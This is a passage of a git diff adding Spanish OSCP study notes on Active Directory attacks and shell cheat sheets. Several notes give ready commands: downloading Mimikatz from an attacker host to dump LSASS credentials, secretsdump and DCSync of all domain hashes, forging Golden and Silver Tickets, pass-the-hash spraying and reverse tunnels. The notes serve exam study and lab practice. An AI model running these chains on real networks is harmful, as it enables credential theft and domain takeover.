+> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.
+
+## Ataque
+```bash
+# con lista de usuarios (sesión nula / enum previa con SMB):
+impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP
+# con credenciales (enumera y pide a la vez):
+impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
+```
+
+## Crackeo offline
+```bash
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+## Diferencia con Kerberoasting
+- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
+- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.
+
+Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Active Directory.md b/nucleo/saber/conocimiento/05 - Active Directory/Active Directory.md
new file mode 100644
index 0000000..317a188
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Active Directory.md	
@@ -0,0 +1,34 @@
+# Active Directory (índice)
+
+> El **set de AD = 40 puntos** del examen (3 máquinas encadenadas). Ver Estructura del examen.
+> Idea clave: tu Kali no tiene GUI central; cada tool (Impacket, Mimikatz, BloodHound) habla por red con la víctima. Ver Puesto de mando Kali.
+
+## La cadena de ataque típica
+```
+1) RCE en web → Reverse shell en USER1
+2) PEASS-ng → privesc → SYSTEM en USER1   (Privesc Windows / Potato attacks)
+3) Mimikatz → hash NTLM de un usuario de dominio
+4) BloodHound → ¿camino a Domain Admin?
+5) Pass-the-Hash / Impacket → shell en SERVER2  (Movimiento lateral)
+6) si SERVER2 = DC → secretsdump → toda la BD del dominio
+7) hash de krbtgt → Golden Ticket → dios
+```
+
+## Los 7 caminos que SIEMPRE pruebas
+1. **Anonymous SMB** → SMB (`smbclient -L //IP -N`, `nxc smb IP -u "" -p ""`)
+2. **AS-REP Roasting** → AS-REP Roasting
+3. **Kerberoasting** → Kerberoasting
+4. **GPP cpassword** → GPP cpassword
+5. **LAPS** → LAPS
+6. **ACL abuses** → ACL abuses (te los pinta BloodHound)
+7. **DCSync** → DCSync
+
+## Conceptos
+- Kerberos (TGT/TGS) · Pass-the-Hash · Golden Ticket · Silver Ticket
+- Crackear los tickets → Cracking de contraseñas
+- Entrar a la red interna → Pivoting ligolo-ng / Tunneling
+
+## Herramientas
+NetExec/CrackMapExec, BloodHound, Rubeus, Kerbrute, Responder, Evil-WinRM, Impacket → Herramientas (índice).
+
+Relacionado: OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/BloodHound.md b/nucleo/saber/conocimiento/05 - Active Directory/BloodHound.md
new file mode 100644
index 0000000..c6f0ca9
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/BloodHound.md	
@@ -0,0 +1,32 @@
+# BloodHound
+
+> Dibuja Active Directory **como un grafo**: nodos = usuarios/grupos/máquinas, aristas = relaciones. Le preguntas "¿camino más corto de juan a Domain Admins?" y te lo pinta. La única tool con GUI propia.
+
+## Componentes
+```
+SharpHound (.exe en víctima)  o  bloodhound-python (en Kali)  →  JSON
+JSON  →  BloodHound GUI (en Kali)  +  Neo4j (la BD del grafo)
+```
+
+## Instalación (Debian)
+```bash
+sudo apt install -y bloodhound bloodhound.py neo4j
+sudo systemctl start neo4j
+sudo neo4j-admin set-initial-password 'BloodHound1!'
+```
+
+## Workflow
+```bash
+# 1) recolectar desde Kali (necesitas creds válidas)
+bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
+# 2) lanzar GUI y arrastrar los .json
+bloodhound      # login neo4j / BloodHound1!
+```
+
+## Queries que importan
+- **Find Shortest Paths to Domain Admins**
+- **Find Kerberoastable Accounts** → Kerberoasting
+- **Find AS-REP Roastable Users** → AS-REP Roasting
+- Aristas peligrosas (`GenericAll`, `WriteDACL`, `ForceChangePassword`) → ACL abuses
+
+Relacionado: Mimikatz · Movimiento lateral · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/DCSync.md b/nucleo/saber/conocimiento/05 - Active Directory/DCSync.md
new file mode 100644
index 0000000..afde48e
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/DCSync.md	
@@ -0,0 +1,22 @@
+# DCSync
+
+> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.
+
+## Cómo se llega
+- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
+- O un ACL abuses que te conceda esos derechos.
+
+## Ataque
+```bash
+impacket-secretsdump dominio/usuario:password@DC_IP   # → ver secretsdump
+```
+```
+# o desde mimikatz en una máquina del dominio:
+lsadump::dcsync /user:Administrator
+lsadump::dcsync /user:krbtgt        # ← el premio gordo
+```
+
+## Por qué importa
+El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.
+
+Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/GPP cpassword.md b/nucleo/saber/conocimiento/05 - Active Directory/GPP cpassword.md
new file mode 100644
index 0000000..d9857ff
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/GPP cpassword.md	
@@ -0,0 +1,20 @@
+# GPP cpassword
+
+> Group Policy Preferences que guardaban contraseñas cifradas con una **clave AES pública y fija** (Microsoft la publicó). Trivial de descifrar. Uno de los 7 caminos de Active Directory.
+
+## Dónde buscar
+```
+\\DC\SYSVOL\<dominio>\Policies\...\Groups.xml
+```
+Busca el atributo `cpassword` en `Groups.xml` (también en `Services.xml`, `ScheduledTasks.xml`, `Datasources.xml`).
+
+## Descifrar
+```bash
+gpp-decrypt 'CPASSWORD_AQUI'
+```
+- Accedes a SYSVOL vía SMB (a menudo con sesión nula o cualquier user de dominio).
+
+## Resultado
+Credenciales en claro → Movimiento lateral / Pass-the-Hash.
+
+Relacionado: SMB · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Golden Ticket.md b/nucleo/saber/conocimiento/05 - Active Directory/Golden Ticket.md
new file mode 100644
index 0000000..c21191a
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Golden Ticket.md	
@@ -0,0 +1,22 @@
+# Golden Ticket
+
+> Con el hash de **krbtgt** forjas tu propio TGT → eres **cualquiera** (incluso un Domain Admin inexistente), para siempre. Cima de Active Directory.
+
+## Requisito
+Hash NTLM de la cuenta **krbtgt** → se obtiene con DCSync o secretsdump sobre el DC.
+
+## Forjar
+```bash
+impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
+export KRB5CCNAME=Administrator.ccache
+impacket-psexec -k -no-pass corp.local/Administrator@dc.corp.local
+```
+```
+# mimikatz equivalente:
+kerberos::golden /user:Administrator /domain:corp.local /sid:S-... /krbtgt:HASH /ptt
+```
+
+## Concepto
+krbtgt firma **todos** los TGT (Kerberos). Si controlas su hash, firmas tickets válidos a voluntad → persistencia total.
+
+Relacionado: Silver Ticket · DCSync · Pass-the-Hash · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Impacket.md b/nucleo/saber/conocimiento/05 - Active Directory/Impacket.md
new file mode 100644
index 0000000..b2ab4e1
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Impacket.md	
@@ -0,0 +1,26 @@
+# Impacket
+
+> Suite **Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) sin ser Windows. Es como tener un "Windows hablante" en Kali.
+
+## Los más útiles
+```
+impacket-psexec        → shell en la víctima si tienes creds (estilo PsExec)
+impacket-wmiexec       → ejecutar comandos sin tocar disco
+impacket-smbexec       → otra ejecución remota
+impacket-secretsdump   → vuelca NTDS.dit y SAM de un DC en remoto → secretsdump
+impacket-GetUserSPNs   → Kerberoasting
+impacket-GetNPUsers    → AS-REP Roasting
+impacket-getTGT        → pide/forja un TGT con cred conocida
+impacket-getST         → pide un service ticket
+impacket-smbserver     → share SMB falso para exfiltrar a Kali (Transferencia de ficheros)
+impacket-ntlmrelayx    → relay NTLM
+impacket-ticketer      → forja tickets → Golden Ticket
+```
+
+## Lateral con hash (sin reverse shell nueva)
+```bash
+impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
+```
+Shell SYSTEM en otra máquina, autenticado y limpio → Pass-the-Hash, Movimiento lateral.
+
+Relacionado: Mimikatz · Active Directory · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Kerberoasting.md b/nucleo/saber/conocimiento/05 - Active Directory/Kerberoasting.md
new file mode 100644
index 0000000..fcddf32
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Kerberoasting.md	
@@ -0,0 +1,22 @@
+# Kerberoasting
+
+> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.
+
+## Requisito
+Cualquier credencial **válida** de dominio (un user cualquiera).
+
+## Ataque
+```bash
+impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
+# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
+```
+
+## Crackeo offline
+```bash
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+## Por qué funciona
+El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.
+
+Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Kerberos.md b/nucleo/saber/conocimiento/05 - Active Directory/Kerberos.md
new file mode 100644
index 0000000..03215eb
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Kerberos.md	
@@ -0,0 +1,25 @@
+# Kerberos
+
+> El protocolo de autenticación de Active Directory. Entender TGT vs TGS desbloquea media AD.
+
+## En 30 segundos
+```
+Usuario --(¿pwd?)--> KDC (Domain Controller)
+Usuario <--(TGT: "carnet maestro")-- KDC
+Usuario --(TGT + "quiero \\fileSrv")--> KDC
+Usuario <--(TGS: ticket para fileSrv)-- KDC
+Usuario --(TGS)--> fileServer  "este ticket prueba que soy yo"
+```
+
+## Conceptos
+- **TGT** = carnet maestro del KDC. Lo guarda el cliente.
+- **TGS** = ticket de un servicio concreto.
+- **krbtgt** = la cuenta que **firma TODOS los TGT**.
+
+## Por qué importa (los ataques)
+- Reutilizar un TGT/TGS válido = **pass-the-ticket**.
+- Pedir TGS de cuentas con SPN sin tenerlas = Kerberoasting.
+- Usuarios sin pre-auth = AS-REP Roasting.
+- Hash de **krbtgt** = forjar Golden Ticket (ser cualquiera, para siempre).
+
+Relacionado: Impacket · Mimikatz · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/LAPS.md b/nucleo/saber/conocimiento/05 - Active Directory/LAPS.md
new file mode 100644
index 0000000..0191298
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/LAPS.md	
@@ -0,0 +1,19 @@
+# LAPS
+
+> Local Administrator Password Solution: rota la pass del admin local y la guarda en un atributo del objeto-equipo en AD. Si tu usuario **puede leer ese atributo**, tienes el admin local. Camino de Active Directory.
+
+## Leer la password
+```bash
+nxc ldap IP -u usuario -p password --module laps
+# o:
+nxc ldap IP -u usuario -p password -M laps
+```
+- El atributo es `ms-Mcs-AdmPwd` (LAPS v1).
+
+## Cómo saber quién puede leerlo
+BloodHound muestra `ReadLAPSPassword` como arista → relacionado con ACL abuses.
+
+## Resultado
+Password de admin local de esa máquina → Movimiento lateral / RDP.
+
+Relacionado: BloodHound · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md b/nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md
new file mode 100644
index 0000000..946e5fa
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md	
@@ -0,0 +1,26 @@
+# Mimikatz
+
+> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.
+
+## Subir y ejecutar
+```powershell
+iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe   # Transferencia de ficheros
+C:\Windows\Temp\m.exe
+```
+
+## Comandos clave (dentro de mimikatz)
+```
+privilege::debug                         # imprescindible primero
+sekurlsa::logonpasswords                 # hashes NTLM, tickets, a veces pass en claro (wdigest)
+lsadump::sam                             # SAM local
+lsadump::dcsync /user:Administrator      # DCSync (si tienes permisos de replicación)
+```
+
+## Requisito
+Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).
+
+## Después
+- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
+- Pregúntale a BloodHound qué hacer con ese usuario.
+
+Relacionado: Kerberos · secretsdump · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Movimiento lateral.md b/nucleo/saber/conocimiento/05 - Active Directory/Movimiento lateral.md
new file mode 100644
index 0000000..8eb3dd0
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Movimiento lateral.md	
@@ -0,0 +1,23 @@
+# Movimiento lateral
+
+> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.
+
+## Con qué saltas
+```bash
+impacket-psexec  dominio/user:pass@10.10.10.20      # shell SYSTEM
+impacket-wmiexec dominio/user:pass@10.10.10.20      # sin tocar disco
+impacket-psexec  -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
+nxc smb 10.10.10.0/24 -u user -p pass               # ¿dónde valen estas creds?
+xfreerdp /u:user /p:pass /v:10.10.10.20             # RDP si hay GUI
+evil-winrm -i 10.10.10.20 -u user -p pass           # WinRM (5985)
+```
+
+## Regla clave
+**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).
+
+## Decidir a dónde
+- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
+- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
+- Red interna no enrutable → Pivoting ligolo-ng.
+
+Relacionado: Impacket · Mimikatz · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Pass-the-Hash.md b/nucleo/saber/conocimiento/05 - Active Directory/Pass-the-Hash.md
new file mode 100644
index 0000000..ade8145
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Pass-the-Hash.md	
@@ -0,0 +1,22 @@
+# Pass-the-Hash
+
+> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.
+
+## De dónde sale el hash
+- Mimikatz `sekurlsa::logonpasswords`
+- secretsdump (SAM/NTDS)
+- `lsadump::sam`
+
+## Uso
+```bash
+impacket-psexec  -hashes :NTLMHASH 'admin@10.10.10.20'   # → SYSTEM
+impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
+nxc smb 10.10.10.0/24 -u admin -H NTLMHASH               # spray del hash por la red
+```
+
+## Combos
+- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
+- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
+- Hash de krbtgt → ya no es PtH, es Golden Ticket.
+
+Relacionado: Impacket · Movimiento lateral · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Pivoting ligolo-ng.md b/nucleo/saber/conocimiento/05 - Active Directory/Pivoting ligolo-ng.md
new file mode 100644
index 0000000..88de897
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Pivoting ligolo-ng.md	
@@ -0,0 +1,29 @@
+# Pivoting (ligolo-ng)
+
+> Entrar en una **red interna** no enrutable desde Kali, a través de una máquina comprometida. En `tu carpeta`.
+
+## El concepto
+```
+KALI 10.10.10.5 ── túnel ──> USER1 10.10.10.50 ── llega a ──> 192.168.5.0/24 (DC interno)
+```
+- **proxy** corre en Kali, **agent** en la víctima.
+- Añades una ruta y las tools tiran por el túnel **transparentemente**.
+
+## Montaje
+```bash
+# Kali (proxy):
+sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
+./proxy -selfcert
+# Víctima (agent):
+./agent -connect TU_IP:11601 -ignore-cert
+# En la consola de ligolo: session → start ; luego en Kali:
+sudo ip route add 192.168.5.0/24 dev ligolo
+```
+
+## Resultado
+```bash
+impacket-psexec admin@192.168.5.10   # el tráfico va por el túnel, transparente
+```
+Ahora Movimiento lateral y Active Directory funcionan contra la red interna.
+
+Relacionado: Puesto de mando Kali · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/Silver Ticket.md b/nucleo/saber/conocimiento/05 - Active Directory/Silver Ticket.md
new file mode 100644
index 0000000..f299d2c
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/Silver Ticket.md	
@@ -0,0 +1,22 @@
+# Silver Ticket
+
+> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.
+
+## Golden vs Silver
+```
+Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
+Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
+```
+El Silver no toca el KDC → casi indetectable, pero limitado al servicio.
+
+## Forjar
+```bash
+impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
+  -domain corp.local -spn cifs/server.corp.local Administrator
+export KRB5CCNAME=Administrator.ccache
+impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
+```
+- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
+- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).
+
+Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC
diff --git a/nucleo/saber/conocimiento/05 - Active Directory/secretsdump.md b/nucleo/saber/conocimiento/05 - Active Directory/secretsdump.md
new file mode 100644
index 0000000..11ac63f
--- /dev/null
+++ b/nucleo/saber/conocimiento/05 - Active Directory/secretsdump.md	
@@ -0,0 +1,26 @@
+# secretsdump (NTDS.dit / SAM)
+
+> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.
+
+## Remoto contra un DC
+```bash
+impacket-secretsdump dominio/usuario:password@DC_IP
+impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash
+```
+Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.
+
+## Offline (ficheros exfiltrados)
+```bash
+# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
+impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
+```
+
+## SAM local de una máquina
+```bash
+impacket-secretsdump -sam SAM -system SYSTEM LOCAL
+```
+
+## Cómo se obtienen permisos
+- Ser admin del DC, o derechos de replicación → DCSync.
+
+Relacionado: Mimikatz · Active Directory · OSCP MOC
diff --git a/nucleo/saber/conocimiento/06 - Cheatsheets/Bucles bash sobre IPs.md b/nucleo/saber/conocimiento/06 - Cheatsheets/Bucles bash sobre IPs.md
new file mode 100644
index 0000000..7811119
--- /dev/null
+++ b/nucleo/saber/conocimiento/06 - Cheatsheets/Bucles bash sobre IPs.md	
@@ -0,0 +1,43 @@
+# Bucles bash sobre IPs
+
+> Lo que ahorra horas: enumerar **toda la red** de golpe a partir de la salida greppable de Nmap. Usa Operadores Bash.
+
+## Ping sweep (descubrir hosts sin nmap)
+```bash
+for i in $(seq 1 254); do ping -c1 -W1 10.11.1.$i >/dev/null && echo "10.11.1.$i UP"; done
+```
+```cmd
+for /L %i in (1,1,254) do @ping -n 1 -w 200 10.5.5.%i >nul && echo 10.5.5.%i up
+```
+(PowerShell rápido → Port scanner PowerShell). Útil tras un foothold para mapear la red interna antes de Tunneling.
+
+## Filtrar resultados de nmap (greppable)
+```bash
+grep "445/open" smb.txt | cut -d' ' -f2     # IPs con ese puerto
+grep -c "445/open" smb.txt                  # cuántos hosts lo tienen
+grep "Status: Up" scan.gnmap | cut -d' ' -f2  # hosts vivos
+```
+
+## Bucle sobre IPs (anatomía)
+```bash
+for ip in $(grep "445/open" smb.txt | cut -d' ' -f2); do
+    echo "=== $ip ==="
+    enum4linux -a $ip < /dev/null 2>/dev/null | grep -i alfred
+done
+```
+- `< /dev/null` → evita que se cuelgue en prompts `Password:`.
+- Si falta `done`, bash se queda en `for>` (Ctrl+C).
+
+## Enumerar SMB de todos y luego grep
+```bash
+for ip in $(grep "445/open" smb.txt | cut -d' ' -f2); do enum4linux -a $ip < /dev/null > enum_$ip.txt 2>&1; done
+grep -l "alfred" enum_*.txt                    # en QUÉ host está el usuario
+grep -iE 'remark|flag|OS\{' enum_HOST.txt      # flag en comentarios de shares
+```
+
+## Flags en comentarios de shares de toda la red
+```bash
+for ip in $(grep "445/open" smb.txt | cut -d' ' -f2); do echo "=== $ip ==="; rpcclient -U "" -N $ip -c "netshareenumall" 2>/dev/null | grep -i "flag\|OS{"; done
+```
+
+Relacionado: SMB · Enumeración · OSCP MOC
diff --git a/nucleo/saber/conocimiento/06 - Cheatsheets/Operadores Bash.md b/nucleo/saber/conocimiento/06 - Cheatsheets/Operadores Bash.md
new file mode 100644
index 0000000..78916a2
--- /dev/null
+++ b/nucleo/saber/conocimiento/06 - Cheatsheets/Operadores Bash.md	
@@ -0,0 +1,29 @@
+# Operadores Bash
+
+> Lo primero que hay que tener claro para encadenar comandos en Kali. Base de Bucles bash sobre IPs.
+
+```
+|      tubería: salida de uno → entrada del siguiente   grep open f | wc -l
+>      redirige salida (SOBREESCRIBE)                    nmap ... > out.txt
+>>     redirige AÑADIENDO al final                       echo nota >> log.txt
+<      redirige ENTRADA desde fichero                    enum4linux -a IP < /dev/null
+2>     redirige ERRORES (stderr)                         cmd 2>/dev/null
+2>&1   junta errores con salida normal                   cmd > todo.txt 2>&1
+;      secuencia (uno tras otro, pase lo que pase)       cd /tmp; ls; pwd
+&&     AND: el 2º solo si el 1º tuvo ÉXITO               mkdir loot && cd loot
+||     OR: el 2º solo si el 1º FALLÓ                     ping -c1 IP || echo caido
+&      segundo plano (background)                        nmap -p- IP &
+$( )   sustitución de comando                            for ip in $(grep ...)
+*      comodín                                           enum_*.txt
+```
+
+## grep útiles
+```
+grep -v   invertir (excluir)        grep -i  ignorar mayus/minus
+grep -r   recursivo                 grep -l  solo nombre del fichero
+grep -c   contar coincidencias
+```
+
+- `< /dev/null` evita que un comando se cuelgue pidiendo `Password:` (clave en bucles).
+
+Relacionado: Operadores PowerShell · Bucles bash sobre IPs · OSCP MOC
diff --git a/nucleo/saber/conocimiento/06 - Cheatsheets/Operadores PowerShell.md b/nucleo/saber/conocimiento/06 - Cheatsheets/Operadores PowerShell.md
new file mode 100644
index 0000000..5b7d4be
--- /dev/null
+++ b/nucleo/saber/conocimiento/06 - Cheatsheets/Operadores PowerShell.md	
@@ -0,0 +1,29 @@
+# Operadores PowerShell
+
+> Para cuando trabajas **dentro** de la víctima Windows. Base de Port scanner PowerShell.
+
+```
+|        tubería (igual que bash)            Get-Process | Where-Object {...}
+%        alias de ForEach-Object             1..200 | % { ... }
+$_       el elemento actual del bucle        1..10 | % { "puerto $_" }
+-and -or -not (o !)   lógicos
+-eq -ne  igual / distinto                    ($x -eq 5)
+-lt -gt -le -ge       menor/mayor (-igual)   ($port -lt 1000)
+>        redirige a fichero
+2>$null  silenciar errores (= 2>/dev/null)
+Out-Null tirar salida no deseada             $c.Connect(..) | Out-Null
+`        backtick = continuar en línea siguiente (como \ en bash)
+;        separar comandos en una línea
+```
+
+## Trampas
+- `"$_ABIERTO"` se lee como variable `_ABIERTO` (vacía). **Pon espacio**: `"$_ ABIERTO"`.
+- Silenciar TODO al inicio de un script:
+  ```powershell
+  $ErrorActionPreference = "SilentlyContinue"
+  $WarningPreference     = "SilentlyContinue"
+  ```
+  Por comando: `-ea 0` (ErrorAction) · `-wa 0` (WarningAction).
+- Correr un `.ps1` bloqueado: `powershell -ep bypass -File .\script.ps1`.
+
+Relacionado: Operadores Bash · Port scanner PowerShell · OSCP MOC
diff --git a/nucleo/saber/conocimiento/06 - Cheatsheets/Port scanner PowerShell.md b/nucleo/saber/conocimiento/06 - Cheatsheets/Port scanner PowerShell.md
new file mode 100644
index 0000000..0d75e4a
--- /dev/null
+++ b/nucleo/saber/conocimiento/06 - Cheatsheets/Port scanner PowerShell.md	
@@ -0,0 +1,25 @@
+# Port scanner en PowerShell
+
+> Escanear puertos **desde la víctima Windows sin nmap** (útil tras un foothold para mirar la red interna, antes de montar Pivoting ligolo-ng). Usa Operadores PowerShell.
+
+## Con timeout (NO se cuelga)
+```powershell
+1..200 | % { $c=New-Object Net.Sockets.TcpClient; $r=$c.BeginConnect("IP",$_,$null,$null); if($r.AsyncWaitHandle.WaitOne(300) -and $c.Connected){"Puerto $_ ABIERTO"}; $c.Close() }
+```
+
+## Solo puertos concretos (instantáneo)
+```powershell
+53,88,135,139,445 | % { $c=New-Object Net.Sockets.TcpClient; $r=$c.BeginConnect("IP",$_,$null,$null); if($r.AsyncWaitHandle.WaitOne(300) -and $c.Connected){"$_ ABIERTO"}; $c.Close() }
+```
+
+## Test rápido de un puerto
+```powershell
+Test-NetConnection IP -Port 53 -wa 0 -ea 0   # mira TcpTestSucceeded : True/False
+```
+
+## La regla clave
+- `$c.Connect()` = **síncrono**, se cuelga ~21s en puertos filtrados.
+- `$c.BeginConnect()+WaitOne(ms)` = controlas el timeout, **NO se cuelga**.
+- Para líneas largas: `notepad scan.ps1` y `powershell -ep bypass -File .\scan.ps1`.
+
+Relacionado: Nmap · Puertos olvidados · OSCP MOC
diff --git a/nucleo/saber/conocimiento/07 - Referencia/Herramientas (índice).md b/nucleo/saber/conocimiento/07 - Referencia/Herramientas (índice).md
new file mode 100644
index 0000000..6fafbf4
--- /dev/null
+++ b/nucleo/saber/conocimiento/07 - Referencia/Herramientas (índice).md	
@@ -0,0 +1,34 @@
+# Herramientas (índice)
+
+> Arsenal de referencia. Fuente: oscp.trastero.org/tools + el resto del vault.
+
+## En Kali (corren en tu atacante)
+| Tool | Para qué | Nota |
+|---|---|---|
+| Impacket | suite de protocolos Windows | Impacket |
+| NetExec / CrackMapExec | barrido y post-explotación AD | SMB, Pass-the-Hash |
+| BloodHound | grafo de AD | BloodHound |
+| Responder | envenena LLMNR/NBT-NS/MDNS → captura hashes | Client-side attacks |
+| Evil-WinRM | shell WinRM (5985) | Movimiento lateral |
+| ligolo-ng / chisel | pivoting/túnel | Pivoting ligolo-ng, Tunneling |
+| Kerbrute | enum de usuarios + spraying Kerberos | AS-REP Roasting |
+| Rubeus | operaciones con tickets Kerberos | Kerberoasting, Silver Ticket |
+| hashcat / john | cracking offline | Cracking de contraseñas |
+
+## Las que SUBES a la víctima Windows
+| Tool | Para qué | Nota |
+|---|---|---|
+| winPEAS | enumeración de privesc | PEASS-ng |
+| PowerUp / PrivescCheck / Sherlock | privesc PowerShell | Privesc Windows |
+| mimikatz | volcar credenciales de LSASS | Mimikatz |
+| SysInternals (accesschk, PsExec) | permisos, ejecución | Privesc Windows |
+| Nishang | PowerShell ofensivo (shells) | Reverse shell |
+| Potato (God/Print/Juicy) | abuso de token → SYSTEM | Potato attacks |
+
+## En la víctima Linux
+| Tool | Para qué | Nota |
+|---|---|---|
+| linPEAS / LinEnum / LES / lse | enumeración de privesc | Privesc Linux |
+| pspy | espía procesos/cron sin root | Privesc Linux |
+
+Relacionado: searchsploit · Recursos públicos · OSCP MOC
diff --git a/nucleo/saber/conocimiento/07 - Referencia/Recursos públicos.md b/nucleo/saber/conocimiento/07 - Referencia/Recursos públicos.md
new file mode 100644
index 0000000..54e97da
--- /dev/null
+++ b/nucleo/saber/conocimiento/07 - Referencia/Recursos públicos.md	
@@ -0,0 +1,19 @@
+# Recursos públicos
+
+> Dónde está SÍ todo esto (cultura pública, nada bajo NDA). Apoyo para Metodología OSCP y el Reporte OSCP.
+
+| Recurso | Por qué importa |
+|---|---|
+| **TJ Null's OSCP-like list** (Reddit) | Máquinas HTB/THM equivalentes a OSCP, actualizada |
+| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista las máquinas) |
+| **0xdf.gitlab.io** | Writeups detalladísimos y pedagógicos |
+| **PayloadsAllTheThings** | Cheatsheet de todo lo web (SQL injection, LFI a RCE, uploads) |
+| **HackTricks** (book.hacktricks.xyz) | La biblia: lo busques lo que busques, está |
+| **GTFOBins / LOLBAS** | Privesc Linux y LOLBins Windows → GTFOBins y LOLBAS |
+| **/r/oscp** | Experiencias de examinados (sin spoilers) |
+| **Discords públicos**: HTB, TryHackMe, NetSecFocus | Comunidades que SÍ puedes consultar |
+| **noraj/OSCP-Exam-Report-Template-Markdown** | Plantilla del Reporte OSCP |
+
+> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB). **No** es material bajo NDA de OffSec.
+
+Relacionado: un laboratorio · OSCP MOC
diff --git a/nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md b/nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md
new file mode 100644
index 0000000..fde1720
--- /dev/null
+++ b/nucleo/saber/conocimiento/08 - Avanzado/AV evasion.md	
@@ -0,0 +1,28 @@
+# AV evasion
+
+> Cuando hay antivirus y tu payload muere al tocar disco. Fuente: oscp.trastero.org/avevasion.
+
